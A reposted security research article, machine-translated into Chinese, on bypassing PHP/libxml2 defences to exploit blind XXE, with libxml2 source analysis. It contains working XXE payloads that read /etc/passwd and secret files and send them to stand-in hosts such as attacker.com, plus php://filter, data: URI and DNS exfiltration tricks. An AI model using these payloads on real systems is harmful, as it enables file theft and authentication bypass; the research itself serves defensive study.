领先的免费Web技术教程,涵盖HTML到ASP.NET

网站首页 > 知识剖析 正文

PHP 中不可能存在的 XXE

nixiaole 2025-04-26 20:15:51 知识剖析 3 ℃

如今,编写安全代码比犯下导致 XXE 漏洞的错误要容易得多。在检查库时,我想知道:它的代码真的安全吗?乍一看,所有内容似乎都经过了过滤,并且该函数不具备可能使其易受攻击的属性。

然而,我能够通过结合多种技术和特性来利用几乎不可能的 XXE 漏洞。

<?php
    ini_set('display_errors', '0');
    $doc = new \DOMDocument();
    $doc->loadXML($_POST['user_input']); // #1 
    
    $xml = $doc->saveXML();
    $doc = new \DOMDocument('1.0', 'UTF-8');
    $doc->loadXML($xml, LIBXML_DTDLOAD | LIBXML_NONET); // #2 & #3 
    
    foreach ($doc->childNodes as $child) {
        if ($child->nodeType === XML_DOCUMENT_TYPE_NODE) {// #4
            throw new RuntimeException('Dangerous XML detected');
        }
    }
?>

标准有效载荷无法在这样的代码中起作用,并且要利用 XXE 漏洞,必须消除四个障碍:

#1 $doc->loadXML($_POST user_input']); — 由于默认情况下禁用加载外部实体,因此任何形式为 %x; 的实体都将被替换为空字符串。

#2该 LIBXML_DTDLOAD 属性允许加载外部实体,但不允许将一个实体插入另一个实体。让我们看看如果我们尝试以下有效载荷会发生什么:

<!ENTITY % data SYSTEM "file:///etc/passwd" >
<!ENTITY % eval SYSTEM "<!ENTITY % exf SYSTEM 'http://attacker.com/?data=%data;'>" >
%eval;
%exf;

如果不设置附加LIBXML_NOENT或LIBXML_DTDVALID 标志,此有效载荷将触发警告,实体将不会被创建,并且数据也不会从数据中泄露。

#3该LIBXML_NONET 标志禁止从外部来源(http://)加载。

#4 XXE 的有效负载以<!DOCTYPE标签开头,因此 条件将始终返回 true。此检查可防止使用$child->nodeType === XML_DOCUMENT_TYPE_NODE 正常实体 ( )。&entity;

以下有效载荷解决了所有这些问题:

PoC 脚本可在 GitHub 上获取。

旁路,旁路,旁路

我们将不按出现的顺序来解决问题,而是基于绕过防御的复杂性:从最简单到最复杂。

绕过<!DOCTYPE条件

绕过$child->nodeType === XML_DOCUMENT_TYPE_NODE 条件是最简单的任务。您需要知道如何解析参数实体(它们以 开头 %)。

当解析器%name;在处理 XML 时遇到类似的字符串时,它会立即尝试解析该name 实体。

如果我们使用参数实体进行攻击,XXE注入将在加载XML文件时发生,即在loadXML 调用函数时、nodeType 检查条件之前。

旁路LIBXML_NONET

下一个任务 — 绕过 LIBXML_NONET— 也不是问题。本质上,在大多数情况下,LIBXML_NONET 标志在 PHP 中不起作用。让我们找出原因。

PHP 中的标准 XML 解析基于libxml扩展,而该扩展又是libxml2的包装器。

让我们开始分析 libxml2 代码

要加载外部实体,xmlDefaultExternalEntityLoader 默认使用该函数:

// parserInternals.c

static xmlParserInputPtr
xmlDefaultExternalEntityLoader(const char *url, const char *ID,
                               xmlParserCtxtPtr ctxt)
{
    …
    // `LIBXML_NONET` flag in PHP, is the same as `XML_PARSE_NONET` flag in libxml2
    if ((ctxt != NULL) && (ctxt->options & XML_PARSE_NONET) && 
        // no-net "protection":
        (xmlStrncasecmp(BAD_CAST url, BAD_CAST "http://", 7) == 0)) { // [1]
        
        xmlCtxtErrIO(ctxt, XML_IO_NETWORK_ATTEMPT, url);
    } else {
        input = xmlNewInputFromFile(ctxt, url);
    }
    …
}

XML_PARSE_NONET 仅当外部实体的 URI 以 http [1]开头时,带有标志检查的条件才会起作用。

让我们分析更多代码:

// parserInternals.c

xmlParserInputPtr
xmlNewInputFromFile(xmlParserCtxtPtr ctxt, const char *filename) {
    …
    code = xmlNewInputFromUrl(filename, flags, &input);
    …
}

int
xmlNewInputFromUrl(const char *filename, int flags, xmlParserInputPtr *out) {
    …
    if (xmlParserInputBufferCreateFilenameValue != NULL) { // [2]
        buf = xmlParserInputBufferCreateFilenameValue(filename,
                XML_CHAR_ENCODING_NONE);
    } else {
        code = xmlParserInputBufferCreateUrl(filename, XML_CHAR_ENCODING_NONE,
                                             flags, &buf);
    }
    …
    input = xmlNewInputInternal(buf, filename);
    …

用于xmlParserInputBufferCreateFilenameValue实现从 filename 变量中指定的路径自定义加载外部实体。默认情况下,此处理程序为 NULL,但使用 PHP 扩展 libxml 可实现此处理程序以启用 PHP Wrappers [2]。

PHP 包装器

PHP 有一个单独的架构解决方案,称为包装器。它作为通过标准文件函数处理数据流的包装器。

libxml PHP 扩展声明了php_libxml_input_buffer_create_filename加载外部实体的函数。

让我们仔细看看。

// ext/libxml/libxml

// sets custom handler implementation
xmlParserInputBufferCreateFilenameDefault(php_libxml_input_buffer_create_filename); 

static xmlParserInputBufferPtr
php_libxml_input_buffer_create_filename(const char *URI, xmlCharEncoding enc)
{
    …
	context = php_libxml_streams_IO_open_read_wrapper(URI);
    …
    ret = xmlAllocParserInputBuffer(enc);
	if (ret != NULL) {
		ret->context = context;
		ret->readcallback = php_libxml_streams_IO_read;
		ret->closecallback = php_libxml_streams_IO_close;
	}

	return(ret);
}

static void *php_libxml_streams_IO_open_read_wrapper(const char *filename)
{
	return php_libxml_streams_IO_open_wrapper(filename, "rb", 1);
}


static void *php_libxml_streams_IO_open_wrapper(const char *filename, const char *mode, const int read_only)
{
    …
	} else {
		resolved_path = (char *)filename;
	}
    …
	php_stream_wrapper *wrapper = php_stream_locate_url_wrapper(resolved_path, &path_to_open, 0);
    …
	php_stream *ret_val = php_stream_open_wrapper_ex(path_to_open, mode, REPORT_ERRORS, NULL, context); // [3]
    …
	return ret_val;
}

代码显示包装器将用于加载外部实体[3]。这意味着要绕过LIBXML_NONET,您需要用另一个包装器替换http://。让我们 http://example.com 用替换 php://filter/resource=http://example.com,这将足以绕过限制并加载外部文件。

绕过 $xml->loadXML($_POST['user_input']);

当调用loadXML 不带标志的方法时,经典的payload类型如下:

<!DOCTYPE x [<!ENTITY % xxe SYSTEM "http://attacker.com/malicious.dtd"> %xxe;]><x></x>

将会变成

<!DOCTYPE x [<!ENTITY % xxe SYSTEM "http://attacker.com/malicious.dtd">]>
<x></x>

由于没有该%xxe; 调用,DTD 文件将不会被加载。

为了解决这个问题,让我们再次检查 libxml2 代码:

// parserInternals.c

int
xmlParseDocument(xmlParserCtxtPtr ctxt) {
    ...
    if (CMP9(CUR_PTR, '<', '!', 'D', 'O', 'C', 'T', 'Y', 'P', 'E')) {
	    ctxt->inSubset = 1;
	    xmlParseDocTypeDecl(ctxt);
        ...
        if ((ctxt->sax != NULL) && (ctxt->sax->externalSubset != NULL) &&
	        (!ctxt->disableSAX))
	        ctxt->sax->externalSubset(ctxt->userData, ctxt->intSubName,
	                                  ctxt->extSubSystem, ctxt->extSubURI);

        }
    ...

void
xmlParseDocTypeDecl(xmlParserCtxtPtr ctxt) {
    ...
    URI = xmlParseExternalID(ctxt, &ExternalID, 1); 
    ...
    ctxt->extSubURI = URI;
    ctxt->extSubSystem = ExternalID;
    ...
}    

从代码中我们可以看到,标签SYSTEM 的属性也被解析了DOCTYPE 。这正是我们所需要的!

有效载荷可以转换成:

<!DOCTYPE x SYSTEM "http://attacker.com/malicious.dtd" []><x></x>

现在,第一次调用后有效载荷不会改变loadXML,这意味着在第二次调用时loadXML,LIBXML_DTDLOAD将加载外部 DTD 文件。

最后一个?

目前,我们已经成功绕过了三个限制,并实现了从任意来源加载外部实体。现在是时候解决数据泄露问题了。
在这个阶段,我们可以尝试以下选项:

  • XXE 到 RCE:通过expect:// 实现 RCE
    问题:o 该expect协议通常被禁用。
  • 通过cnext 漏洞(iconv 漏洞)从 XXE 到 RCE 的
    问题:这个漏洞可以被修复。
  • lightyear:一项关于 php 过滤链的令人印象深刻的研究,允许使用基于错误的 oracle 进行文件转储。
    问题:在我们的示例中,错误文本输出被禁用,并且使用时也会显示错误 DOCTYPE,从而无法区分一个 500 错误与另一个 500 错误。要通过文件实现XXE注入,必须上传大量文件。

由于各种原因,每种方法都不适合我们,所以让我们继续研究并尝试找到自己的方法。

深入了解

传统有效载荷的问题

首先,让我们找出为什么传统的盲XXE有效载荷在我们的案例中不起作用。我们将使用该文件 malicious.dtd作为示例:

<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % exfiltrate SYSTEM 'http://attacker.com/?x=%file;'>">
%eval;
%exfiltrate;

loadXML当通过标志加载此类有效负载时LIBXML_DTDLOAD,不会向攻击者的服务器发送任何出站请求,并且 PHP 会生成几个通知:

为了理解这个问题,让我们从实体解析器开始分析:

// parser.c

void 
xmlParseEntityDecl(xmlParserCtxtPtr ctxt) {
    // RAW - it is a macro that returns the current character in parser.
    ...
    if (CMP6(CUR_PTR, 'E', 'N', 'T', 'I', 'T', 'Y')) {
        ...
        if (RAW == '%') { // detect Parameter Entity
            ...
            isParameter = 1;
        }
        name = xmlParseName(ctxt);  // entity name 
        ...
        if (SKIP_BLANKS_PE == 0) {
	        xmlFatalErrMsg(ctxt, XML_ERR_SPACE_REQUIRED,
                            "Space required after the entity name\n");
	    }
        ...
        if (isParameter) {
            if ((RAW == '"') || (RAW == '\'')) { // [4]
                value = xmlParseEntityValue(ctxt, &orig); // entity value
                if (value) {
                    ... 
                    // declaration entity with value, entity->content = value
        			ctxt->sax->entityDecl(ctxt->userData, name,
		                                XML_INTERNAL_PARAMETER_ENTITY,
				                        NULL, NULL, value);
		        }
            } else { 
                URI = xmlParseExternalID(ctxt, &literal, 1); // SYSTEM "URI" [5]
                if (URI) {
                    ...
                    // declaration entity with URI, entity->content = NULL
                    ctxt->sax->entityDecl(ctxt->userData, name,
                                        XML_EXTERNAL_PARAMETER_ENTITY,
                                        literal, URI, NULL);
                }
            ...
        } else {
        ...

我们感兴趣的是参数实体的解析。处理完实体名称后,将当前字符与引号字符 ('或")进行比较[4]。如果当前字符是引号,则解析内容;否则,解析实体 URI [5]。

重要。类型的实体 <!ENTITY % x SYSTEM "URI"> 没有内容,因此 entity->content = NULL。

接下来我们来探究一下实体值是如何解析的:

// parser.c

xmlChar *
xmlParseEntityValue(xmlParserCtxtPtr ctxt, xmlChar **orig) {
    ...
    xmlExpandPEsInEntityValue(ctxt, &buf, start, length, ctxt->inputNr);
    ...
}

static void
xmlExpandPEsInEntityValue(xmlParserCtxtPtr ctxt, xmlSBuf *buf,
                          const xmlChar *str, int length, int depth) {
    ...
    while ((str < end) && (!PARSER_STOPPED(ctxt))) {
        ...
        } else if (c == '%') { // is it a parametric entity? 
            ...
            ent = xmlParseStringPEReference(ctxt, &str);
            ...
            if (ent->content == NULL) {
                // loading external entity content
                if (((ctxt->options & XML_PARSE_NO_XXE) == 0) &&
                    ((ctxt->replaceEntities) || (ctxt->validate))) { // [6]
                    xmlLoadEntityContent(ctxt, ent);
                } else {
                    // Here is our notice message, entity not loaded :(
                    xmlWarningMsg(ctxt, XML_ERR_ENTITY_PROCESSING,
                                  "not validating will not read content for "
                                  "PE entity %s\n", ent->name, NULL);
                }
            }
            ...
            // inserting entity->content into parent entity value 
            xmlExpandPEsInEntityValue(ctxt, buf, ent->content, ent->length,
                                      depth);

如果实体没有内容( ),则仅当设置了 标志(PHP 标志 )或设置了 标志(PHP 标志 )ent->content == NULL时才会从 URI 加载 [6]。replaceEntitiesLIBXML_NOENTvalidateLIBXML_DTDVALID

原因已经确定:没有LIBXML_NOENT 或 LIBXML_DTDVALID 标志,就不可能将外部实体注入到另一个实体的内容中。

参数实体滥用

外部实体的问题现在已经清楚了,但是内部实体(即具有填充内容的实体)的问题又如何呢?从代码来看,没有什么可以阻止将此类实体注入到其他实体的内容中。

有效载荷的示例:

<!ENTITY % file "somedata">
<!ENTITY % eval "<!ENTITY % exfiltrate SYSTEM 'http://attacker.com/?x=%file;'>">
%eval;
%exfiltrate;

最小 PoC:

<?php
$doc = new \DOMDocument();
$doc->loadXML('<!DOCTYPE x SYSTEM "http://attacker.com/malicious.dtd">
<x></x>', LIBXML_DTDLOAD);

我们收到一个入站 HTTP 请求,其内容x等于somedata。

嗯,现在我们需要弄清楚如何在不调用xmlExpandPEsInEntityValue 函数的情况下使用它。

跳过空白处

在检查 libxml2 的解析代码时,我经常会遇到 SKIP_BLANKS_PE 负责扩展 XML 主体内的参数实体的宏。

// parser.c

#define SKIP_BLANKS_PE xmlSkipBlankCharsPE(ctxt)

static int xmlSkipBlankCharsPE(xmlParserCtxtPtr ctxt) {
    ... 
    while (PARSER_STOPPED(ctxt) == 0) {
        if (IS_BLANK_CH(CUR)) { /* CHECKED tstblanks.xml */
            NEXT;
        } else if (CUR == '%') {
            if ((expandParam == 0) ||
                (IS_BLANK_CH(NXT(1))) || (NXT(1) == 0))
                break;

            /*
             * Expand parameter entity. We continue to consume
             * whitespace at the start of the entity and possible
             * even consume the whole entity and pop it. We might
             * even pop multiple PEs in this loop.
             */
            xmlParsePEReference(ctxt);

            inParam = PARSER_IN_PE(ctxt);
            expandParam = PARSER_EXTERNAL(ctxt);
        } else if (CUR == 0) {
    ...
}

void xmlParsePEReference(xmlParserCtxtPtr ctxt) // [7]
{
    ... 
    if ((entity->etype == XML_EXTERNAL_PARAMETER_ENTITY) && 
        ((ctxt->options & XML_PARSE_NO_XXE) ||
            ((ctxt->loadsubset == 0) && // new condition [8]
            (ctxt->replaceEntities == 0) && 
            (ctxt->validate == 0))))
        return;
    ...
    input = xmlNewEntityInputStream(ctxt, entity); // entity loads method
    if (xmlPushInput(ctxt, input) < 0) {
        xmlFreeInputStream(input);
		return;
    }
    ... 

对我们来说最有价值的函数是xmlParsePEReference [7],因为它负责实体扩展。

注意实体扩展的条件;它与函数中的条件几乎相同xmlExpandPEsInEntityValue ,但多了一个检查 ( ctxt->loadsubset == 0) [8] loadsubset = 1 。如果设置了以下标志之一,则标志为:XML_PARSE_DTDLOAD 或 XML_PARSE_DTDATTR(在 PHP 中为 LIBXML_DTDLOAD or LIBXML_DTDATTR)。感觉我们离目标越来越近了。

函数SKIP_BLANKS_PE可以扩展实体,但是有一个问题:实体不会改变,entity->content仍然等于NULL。数据不会加载实体,而是加载到新的解析器输入中,该输入位于堆栈的顶部input。

让我们尝试以下 DTD:

<!ENTITY % file SYSTEM "file:///tmp/some.txt">
<!ENTITY % data %file;>
<!ENTITY % payload '<!ENTITY % exf SYSTEM "http://attacker.com/?x=%data;">'>
%payload;
%exf;

如果 some.txt 的内容以引号("或')开头和结尾,则此类 DTD 有效。此外还有一个条件:内容不得包含非法字符或保留字符,例如 &或 \0。

有效示例 some.txt:

"It+works!"

让我们来看看:

<?php
$doc = new \DOMDocument();
$doc->loadXML('<!DOCTYPE x SYSTEM " http://attacker.com/malicious.dtd"><x></x>', LIBXML_DTDLOAD);
 


BRO PHP 过滤器链

包裹

至此,我们明白了,为了成功窃取文件,我们需要删除非法字符并添加双引号作为前缀和后缀。使用php://filter包装器可以轻松完成:

  1. 通过使用过滤器将输出转换为 base64 来删除非法字符 php://filter/convert.base64-encode/resource=/tmp/secret.txt。
  2. 要添加前缀和后缀,我们将使用一种非常酷的技术,称为wrapwrap。

我们的 DTD 现在如下所示:

<!ENTITY % file SYSTEM "рhp://filter/convert.base64-encode/A-LOT-OF-WRAPWRAP-FILTERS/resource=/tmp/secret.txt">
<!ENTITY % data %file;>
<!ENTITY % payload '<!ENTITY % exf SYSTEM "http://attacker.com/?x=%data;">'>
%payload;
%exf;

并且它有效!

但有一个问题:由于wrapwrap的特性,文件越大,有效负载大小就越大。它可以达到几十千字节!

解析文字时SYSTEM ,使用两个常量来确定最大长度。

// parserInternals.h

#define XML_MAX_TEXT_LENGTH 10000000

#define XML_MAX_NAME_LENGTH 50000
// parser.c

xmlParseSystemLiteral(xmlParserCtxtPtr ctxt) {
    int maxLength = (ctxt->options & XML_PARSE_HUGE) ?
                    XML_MAX_TEXT_LENGTH :
                    XML_MAX_NAME_LENGTH;
    ....

事实证明,如果没有该XML_PARSE_HUGE 标志,我们只能使用 50 KB。对于 wrapwrap 技术来说,这太少了。这种大小的有效负载仅允许读取长度不超过 50 个字符的文件。

光年块

让我们看一下lightyear,这是关于盲读和去块主题的另一项令人难以置信的研究。

使用本研究中的 lightyear dechunk,我们可以将生成的文件分解成块。与 wrapwrap 不同,lightyear dechunk 的有效载荷大小最小。这两种技术的组合显著减少了有效载荷的大小。即使没有XML_PARSE_HUGE设置标志,也可以窃取几千字节大小的文件!

下面是一个将 wrapwrap 和 lightyear 结合起来的近似算法:

  1. 使用 wrapwrap 从文件中取出 n 个字符。
  2. 找到最右边可以转换成的字符 \n。
  3. 如果可能,修改之前的过滤器并更新旧跳转。否则,创建一个新的过滤器并添加新的跳转。
  4. 如果创建了新的跳转,则可以更新旧过滤器的前缀,因为块大小是已知的。
  5. 对于当前过滤器,将较大的数字添加到前缀并应用去块过滤器,删除文件的左侧部分。
  6. 尽可能读取该文件。

TRUE NONET:当服务器上过滤出站 TCP 连接时该怎么办

在某些情况下,出站 TCP 连接可能会被阻止,从而阻止我们从服务器检索 DTD。使用本地 DTD 文件是一种绝妙的解决方法,但它并不总是有效。

让我们用data:协议解决这些问题,使用 DNS 进行渗透。

数据:协议

PHP 包装器支持以下方法:我们可以使用该协议,而不是从外部资源下载 DTD 文件或搜索本地 DTD 文件,data:例如:

<!DOCTYPE x SYSTEM 'data:,%3c!ENTITY+%25+file+SYSTEM+%22php%3a//filter/convert.base64-encode/A-LOT-OF-WRAPWRAP-FILTERS/resource%3d/etc/passwd%22%3e%0a%3c!ENTITY+%25+data+%25file%3b%3e%0a%3c!ENTITY+%25+exf+SYSTEM+%22http%3a//web-attacker.com/%3fx%3d%25data;%22%3e' []><x></x>

问题基本解决了,但由于过滤器数量庞大,有效载荷大小将非常巨大。如果我们打算通过 GET 参数进行注入,就会出现问题,因为服务器通常会限制 URL 中查询字符串的大小。

让我们用 zlib 来解决这个问题。

大多数过滤器都是重复的并且压缩效果很好,这意味着我们可以使用zlib.deflate和 base64 过滤器。

让我们使用这些 PHP 过滤器对有效负载进行编码:
php://filter/zlib.deflate/convert.base64-encode/resource=/payload.dtd。

结果,原始 DTD 被缩小了几倍。之后,我们可以通过过滤器加载压缩的有效负载:

<!DOCTYPE x SYSTEM "php://filter/convert.base64-decode/zlib.inflate/resource=data:BASE64_ZLIB_DATA," []><x></x>

有效载荷加载问题已解决;让我们继续进行数据泄露。

DNS

在我们的案例中,通过 DNS 进行渗透是通过子域名传输数据的方法之一。

请注意以下几点:

  • 每个标签的长度(用符号分隔的名称.)不得超过 63 个字符。
  • 遇到 base64 时,Google DNS 可能会随机将大写字母更改为小写字母,反之亦然。在这种情况下,需要对生成的 base64 进行额外验证。

结果

因此,我们能够消除阻碍充分利用 XXE 漏洞的以下障碍:

  • 解析 XML 后的任何 XXE 检测器
  • 旗帜LIBXML_NONET已设置
  • 通过双重使用来消除实体loadXML
  • LIBXML_NOENT无法在不设置标志的情况下读取服务器文件LIBXML_DTDVALID
  • 阻止 TCP 连接以防止数据泄露
  • GET通过参数进行攻击时有效载荷较大

修复这些问题后,可以在以下条件下利用 PHP 中的 XXE 漏洞:

  1. LIBXML_NO_XXE 标志(仅从 PHP 8.4.0 开始可用)被禁用,并且
  2. 同时,设置以下列表中的任意标志:LIBXML_DTDLOADLIBXML_DTDATTRLIBXML_DTDVALIDLIBXML_NOENT

我创建了一个脚本以使测试更容易。

额外有效载荷

值得注意的是,启用错误输出后,payload 会变得简单很多。研究表明,在处理特制的 DTD 时,会因为=实体名称中的“ ”符号而产生错误。这将导致文件内容泄露/etc/passwd ,该文件内容经过两次 base64 编码。

外部 DTD 的内容:

<!ENTITY % data SYSTEM "php://filter/convert.base64-encode/convert.base64-encode/resource=/etc/passwd" >
<!ENTITY % %data;>

漏洞漏洞

SimpleSAMLphp中的 XXE

该漏洞由另一位研究人员报告

2024 年 10 月,我发现了当时最新版本的 SimpleSAMLphp 中存在一个漏洞。然而,当我准备一个完整的 PoC 时,我打算向其中一个存储库提交漏洞报告,而 SimpleSAMLphp 的CVE-2024-52596已被注册。不幸的是,我来晚了……

但是,我最终的 PoC 带有 XXE 注入,可让您读取配置文件、发现私钥并签署任何断言,最终使您能够完全绕过配置为身份提供者的 SimpleSAMLphp 的身份验证机制。任何用户都可以利用此漏洞,无需身份验证。

reffer https://swarm.ptsecurity.com/impossible-xxe-in-php/

最近发表
标签列表